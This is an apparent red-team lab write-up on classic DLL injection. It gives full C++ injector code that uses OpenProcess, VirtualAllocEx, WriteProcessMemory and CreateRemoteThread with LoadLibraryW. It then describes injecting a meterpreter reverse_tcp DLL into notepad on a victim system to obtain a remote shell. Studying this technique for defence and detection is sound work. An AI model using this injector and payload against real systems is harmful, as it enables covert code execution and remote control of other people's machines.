DLL Injection
Injecting DLL into a remote process.
This lab attempts a classic DLL injection into a remote process.
inject-dll.cpp
int main(int argc, char *argv[]) {
HANDLE processHandle;
PVOID remoteBuffer;
wchar_t dllPath[] = TEXT("C:\\experiments\\evilm64.dll");
printf("Injecting DLL to PID: %i\n", atoi(argv[1]));
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof dllPath, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)dllPath, sizeof dllPath, NULL);
PTHREAD_START_ROUTINE threatStartRoutineAddress = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
CreateRemoteThread(processHandle, NULL, 0, threatStartRoutineAddress, remoteBuffer, 0, NULL);
CloseHandle(processHandle);
return 0;
}
Compiling the above code and executing it with a supplied argument of
4892 which is a PID of the notepad.exe process on the victim system:After the DLL is successfully injected, the attacker receives a meterpreter session from the injected process and its privileges:
inject1.exe
60KB
Binary
DLL injector.exe
evilm64.dll
5KB
Binary
c:\experiments\evilm64.dll (windows/x64/meterpreter/reverse_tcp)
Note how the notepad spawned rundll32 which then spawned a cmd.exe because of the meterpreter payload (and attacker's
shell command) that got executed as part of the injected evilm64.dll into the notepad process:
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